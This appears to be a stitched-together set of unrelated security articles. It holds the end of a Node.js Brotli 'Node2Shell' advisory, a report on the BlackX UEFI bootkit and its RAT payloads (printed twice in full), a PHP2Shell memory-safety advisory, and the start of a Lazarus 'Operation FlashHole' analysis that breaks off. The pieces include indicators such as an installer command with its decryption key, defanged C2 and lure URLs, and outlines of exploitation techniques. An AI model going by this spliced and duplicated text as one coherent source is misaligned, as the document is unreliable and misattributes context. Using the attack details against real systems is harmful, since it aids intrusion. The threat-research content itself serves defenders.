Two tested routes into the native decoder. The patched runtime stops at the invalid-format check.
The distinction matters for exposure. Express 5 and body-parser 2 can decompress incoming Brotli request bodies when their parsers are configured; they are routes into the vulnerable Node.js decoder, not the source of the flaw. On the response side, our test service consumed an external Brotli response with Node.js’s built-in fetch(). Both paths reach the same decoder.
What defenders should do
The priority is to replace affected Node.js runtimes. The project released fixes in 22.23.4, 24.22.1, and 26.12.1. Deploy these or newer fixed releases in each line, including in container images and other artifacts that bundle a Node binary. Move applications on unsupported Node.js lines to a supported release.
Then map where untrusted Brotli data reaches that runtime. Review compressed responses consumed by services and incoming request bodies inflated by configured middleware. Check the Node.js version inside each deployed image or host; a package inventory can miss an older runtime bundled in a container.
Where practical, temporarily limit untrusted Brotli traffic on affected paths while updates roll out. Test changes against the application’s normal traffic. Complete remediation requires updating Node.js.
Unexpected process exits during decompression and decoder errors may help prioritize investigation. Neither is a reliable stand-alone sign of exploitation; correlate them with the deployed runtime, application logs, and the source of the compressed data.
Imperva’s response and customer protection
Imperva has added dedicated WAF rules in response to CVE-2026-111497 and validated them to detect and block the exploitation attempts we were able to reproduce. Customers should update affected Node.js deployments to a fixed release. The runtime update remediates the decoder flaw.
Our tests covered both an incoming request parser and a consumed HTTP response. In both cases the affected code is the Node.js decoder, so the runtime update addresses the shared cause.
Closing Thoughts
Node2Shell and the recent PHP2Shell research highlight the risk hidden in the runtimes beneath everyday web applications. In PHP2Shell, researchers used AI to help uncover and exploit longstanding memory-safety flaws. Our Node2Shell tests demonstrated how untrusted compressed data could lead to code execution in an official Node.js build.
AI can accelerate both vulnerability discovery and exploit development, helping researchers investigate flaws while lowering the time and effort attackers need to turn those flaws into working attacks. For defenders, that means less room to delay between disclosure and remediation.
In our tests, the fixed Node.js release rejected the same inputs that achieved code execution on the vulnerable build. The immediate priority is to deploy that fix wherever applications decode untrusted Brotli data. The broader lesson is that patching speed must keep pace with the tools making exploitation faster. Web Application Firewalls can help bridge that gap through virtual patching, buying defenders critical time to deploy permanent fixes.
Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.
BlackLotus advertisement
However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.
Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.
The return of the infamous bootkit
In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.
Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:
inst.exe, an installer executable
PVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation
The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.
Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.
The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.
While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.
Payload launched by the bootkit
The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.
The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.
The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.
User-mode second-stage payloads
Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:
File suffix
Description
Type
0X01
A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module
Input
0X02
Result of the call TEST.Class1.RunCMD(argument_array)
Output
0X03
Task to upload a file to the drive
Input
0X04
Uploaded file
Output
0X05
Task to download a file to an infected machine
Input
0X06
File download status
Output
SSSR
Contains initial system info
Output
We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.
Attribution
Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:
In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.
Why did the target organizations get infected?
During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.
Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:
A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
A scheduled task named Secure-Boot-Update is created.
This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.
Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.
It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.
Conclusion
Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.
However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.
Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.
BlackLotus advertisement
However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.
Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.
The return of the infamous bootkit
In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.
Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:
inst.exe, an installer executable
PVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation
The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.
Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.
The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.
While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.
Payload launched by the bootkit
The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.
The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.
The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.
User-mode second-stage payloads
Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:
File suffix
Description
Type
0X01
A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module
Input
0X02
Result of the call TEST.Class1.RunCMD(argument_array)
Output
0X03
Task to upload a file to the drive
Input
0X04
Uploaded file
Output
0X05
Task to download a file to an infected machine
Input
0X06
File download status
Output
SSSR
Contains initial system info
Output
We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.
Attribution
Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:
In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.
Why did the target organizations get infected?
During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.
Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:
A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
A scheduled task named Secure-Boot-Update is created.
This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.
Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.
It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.
Conclusion
Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.
However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.
A family of runtime memory safety vulnerabilities, with impacts ranging from worker crashes and data disclosure to pre-authentication remote code execution.
Introduction
Researchers from Wiz, OpenAI, and Calif jointly disclosed PHP2Shell (CVE-2026-109618 and CVE-2026-109619), a set of memory safety vulnerabilities involving PHP’s session handling, OPcache class caching, and fatal-error backtrace generation. Successful exploitation can lead to full remote code execution in the affected PHP environment without authentication or user interaction. Other demonstrated effects include worker crashes, arbitrary file reads, and server-memory disclosure.
When we think about memory-corruption vulnerabilities, we often picture bugs buried in complex application code. PHP2Shell is different: the vulnerabilities live in PHP’s own runtime, and several can be reached without the application itself doing anything wrong. In many cases, PHP2Shell exploits the timing of PHP’s response to memory exhaustion. Processing stops, but internal state is not always cleaned up consistently. Pointers or cache entries left behind can become accessible during subsequent processing, turning a failed operation into an opportunity for exploitation. In the session-related attacks the researchers demonstrated, an endpoint that does nothing more than echo “OK” can still be affected. The vulnerable processing happens before a single line of application code runs.
PHP2Shell is believed to affect PHP versions dating back to PHP 5.4.0, although not every release has been individually tested and verified. With PHP used by over 69% of websites whose server-side programming language is known, the potential exposure is substantial. Organizations should consult the relevant security advisories for confirmed affected ranges and apply vendor-provided fixes as soon as possible.
CVE Overview
PHP2Shell encompasses two reported vulnerabilities involving PHP’s handling of abnormal request termination. Both are classified as CWE-824: Access of Uninitialized Pointer, carry a CVSS v4.0 score of 9.2 (Critical), and can lead to remote code execution without authentication or user interaction.
CVE-2026-109618: Remote Code Execution via Memory Exhaustion
PHP useslongjmp()to abort request processing when an out-of-memory (OOM) error occurs. Some execution contexts do not properly account for this interruption, leaving request memory in an uninitialized state. Subsequent request cleanup may read or branch on that memory. Multiple strategies for triggering memory exhaustion can consistently reach this condition and lead to remote code execution.
Reported by: Calif, Wiz, OpenAI, and Quarkslab.
CVE-2026-109619: Remote Code Execution via Fatal Errors
PHP also useslongjmp()to abort request processing following fatal errors. Some execution contexts leave global state pointing to memory that is freed at the end of the request. Subsequent requests may read or branch on this invalid state, potentially leading to remote code execution through multiple triggering strategies.
Reported by: Wiz, Calif, and OpenAI.
It’s worth noting that the attack complexity in both vulnerabilities is high, which means that the attacker must overcome a built-in security protection for the exploit to work. Triggering the bug is much easier than turning it into code execution. Memory exhaustion can leave PHP holding a pointer to freed memory. A later request must reach the same Apache worker and place carefully shaped data into that freed space. If the timing or placement differs, the worker may crash or respond normally instead of executing a command.
The Common Thread: Bailouts Leave Stale State
PHP handles certain fatal conditions, including exceeding its configured memory_limit, through an internal mechanism known as a bailout. Rather than completing the current operation normally, PHP aborts it and transfers control to an error-handling boundary.
The problem arises when that bailout occurs after PHP has published a pointer or allocated a cache slot, but before the corresponding cleanup or completion bookkeeping runs. The result is a partially initialized, or stale, state that remains accessible after the operation has failed.
In worker-based deployments, including Apache prefork environment, a process can serve multiple requests. A subsequent request reaching the same worker may therefore encounter a pointer to memory that an earlier request has already freed.
The OPcache finding involves a related but distinct problem: an abandoned class-cache slot in shared memory. Worker-local state and shared-cache state have different lifetimes, so the conditions required to exploit each finding must be assessed separately.
Reaching the Runtime Before Application Code Runs
Three of the five demonstrated exploitation techniques use PHP’s session upload-progress feature as a remote trigger.
This feature updates session state while PHP parses a multipart request body, before the application begins executing. Crafted multipart requests can therefore influence session processing and memory consumption during this pre-application phase.
In these attacks, memory exhaustion interrupts session processing at a point where cleanup is incomplete. Later processing on the same worker encounters the stale state, resulting in a crash or memory disclosure.
This explains why an application does not necessarily need to implement vulnerable business logic to be exposed. However, it does not mean every finding affects every PHP endpoint: enabled features, application behavior, worker routing, and deployment configuration still matter.
Exploitation Techniques
Session Decoder Use-After-Free
The session decoder finding involves bookkeeping used during session unserialization. PHP makes that bookkeeping accessible through module globals, but memory exhaustion can interrupt processing before it is properly cleared.
The attack first builds a large session through the upload-progress mechanism, then forces memory exhaustion during session decoding. Request cleanup frees the underlying memory while leaving stale bookkeeping accessible.
A subsequent request reaching the same worker uses the dangling context, resulting in invalid memory access and a worker crash.
OPcache Stale Class-Cache Pointer
The OPcache finding affects the persistence of compiled class information into shared memory. A memory bailout at a particular point leaves an allocated but unpublished class-cache slot behind.
The attack manipulates later cache reuse and places crafted structures in request memory. A stale class lookup then interprets attacker-controlled data as PHP internal structures, influencing class constant resolution.
In an application flow, a file operation using the affected constant is redirected to an attacker-selected path. This produces an arbitrary file read within the worker process’s access permissions.
The practical consequences depend on what that process can read. Application configuration files, database credentials, API keys, and other secrets may be exposed, but the finding does not automatically grant access to every file on the host.
Stale Session Module-data Pointer – Use-After-Free
This finding affects the session handler state referenced by PHP’s internal pointer.
Memory exhaustion during session handling leaves the pointer referring to freed memory. A follow-up request on the same worker influences subsequent memory allocation, and PHP later dereferences the stale pointer.
Such an attack can produce a worker crash, demonstrating that invalid session state can remain reachable across requests.
Stale Session-ID Pointer – Memory Disclosure
The session ID finding follows a similar pattern but produces information disclosure rather than a crash.
After memory exhaustion leaves stale session ID state, attacker-influenced memory is interpreted as a string with an oversized length. PHP then returns the resulting value through a Set-Cookie: PHPSESSID response header.
An attack can expose approximately 67 KB of process memory. Its contents depend on the worker’s state at the time of exploitation and may include internal runtime data or sensitive information processed by the application.
Fatal-Error Backtrace – Use-After-Free
With fatal-error backtraces enabled, a fatal error can trigger a use-after-free during backtrace generation. The effect is a worker crash.
This finding should be distinguished from the session upload-progress attacks. It requires the relevant backtrace setting and a fatal-error trigger; it does not share the same remote prerequisites as the three session findings.
From Memory Corruption to Remote Code Execution
The overall impact of PHP2Shell extends beyond service disruption and data disclosure. Successful exploitation can lead to remote code execution in the affected PHP environment.
The individual findings demonstrate different ways that invalid runtime state can be accessed or influenced. Their standalone effects should be distinguished from the complete code-execution outcome.
Code execution occurs within the security context of the compromised process. It does not automatically imply root access, but it can allow an attacker to access application data, modify resources available to that process, and pursue further compromise.
Mitigation and Detection
Applying vendor-confirmed PHP fixes is the primary remediation. Organizations should consult the relevant security advisories for confirmed affected ranges, fixed releases, and vulnerability-specific guidance.
Where patching is delayed, organizations should assess temporary exposure-reduction measures:
Disable relevant PHP features where practical. After compatibility and performance testing, consider applying the following settings in the active php.ini file. These temporary measures target features used by the demonstrated exploitation techniques and should not be treated as complete workarounds for either CVE.
opcache.enable = 0
session.upload_progress.enabled = 0
These settings disable OPcache and session upload-progress tracking, respectively. Disabling session upload-progress tracking removes the described trigger for three of the five reported exploitation techniques. These measures do not replace patching or establish that the environment is fully protected.
Review fatal-error backtrace configuration. Assess whether the relevant setting is enabled and follow vulnerability-specific guidance.
Restrict exposure where practical. Limit access to affected services while remediation is evaluated and deployed.
Apply least privilege. Restrict the PHP process’s access to files, credentials, and connected services to reduce the consequences of compromise.
Security teams should correlate suspicious request activity with PHP memory-exhaustion errors and worker crashes. Investigation leads include unusually large multipart payloads, excessive field counts, anomalous session-related parameters, and unexpectedly large PHPSESSID response values.
If exploitation is suspected, incident response should assess possible code execution as well as data disclosure. Review unexpected child processes, application-file changes, persistence mechanisms, unusual outbound connections, and potential credential exposure.
Imperva’s Response and Customer Protection
The researchers shared vulnerability details confidentially with Imperva ahead of public disclosure, enabling Imperva to verify its protection and begin monitoring customer traffic before the announcement. During this pre-disclosure monitoring period, Imperva observed no traffic matching the monitored PHP2Shell exploit patterns.
Imperva Web Application Firewall provides a compensating control by inspecting request and response patterns associated with the demonstrated exploits, including anomalous multipart payloads, repeated session-related fields, abnormal response headers and suspicious session upload-progress activity.
Imperva WAF solutions provide a virtual patch to organizations – Cloud WAF customers are protected against this vulnerability out of the box. Elastic WAF customers receive the same protection following a software update. WAF Gateway customers are protected following a software update and an ADC security content update.
For more details, refer to the relevant release notes:
Imperva provides a testing page where customers can enter their URL to receive an initial assessment. The result is preliminary and may require further analysis to confirm exposure.
Imperva’s Threat Research team continues to monitor traffic to determine whether additional protections are needed.
Conclusion
PHP2Shell highlights how a runtime’s handling of exceptional conditions can become a security boundary failure. When processing stops at the wrong moment, stale pointers and incomplete cache state can remain accessible beyond the operation that created them.
The resulting impacts range from worker crashes and sensitive data disclosure to pre-authentication remote code execution. Organizations should identify affected deployments, apply vendor-confirmed fixes, reduce unnecessary exposure, and investigate suspicious activity for signs of both data access and code execution.
In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s Operation SyncHole. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole.
Operation FlashHole attack flow during initial compromise
Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time.
Background
After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications appear to be maintained by the same vendor, and both are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy the Racket downloader and again in 2022 and 2023. Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory.
We noted that the spawned process was running with a high integrity level. The parent process, INISAFECrossWebEXSvc.exe, originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after KrCERT’s public advisory.
As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a paper was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface.
In July 2026, the South Korean government and several local security vendors also published a joint security advisory covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report Operation Double Barrel covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the attribution section.
Initial infection vector
Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector.
Appearance of the malicious websites
The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors (1, 2). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets.
Suspected use of an AI-generated image on the résumé site
The websites contained embedded links that loaded an external JavaScript file via a script tag.
Malicious link embedded in the résumé site: hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js
Malicious link embedded in interior design site: hxxps://pythonapischool[.]com/api/detach
Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain <username>.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies.
Full infection chain
Following the initial compromise, the legitimate Windows binary fsquirt.exe was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise.
Initial infection chain
Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name mscoree.dll. TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory.
Expanded infection chain after gaining persistence
Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack.
Malware set
The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub.
TechHub – the start of the chain
TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads.
This variant is a more advanced version of the malware named CLOUDBURST by Mandiant and NickelLoader by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings.
We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file.
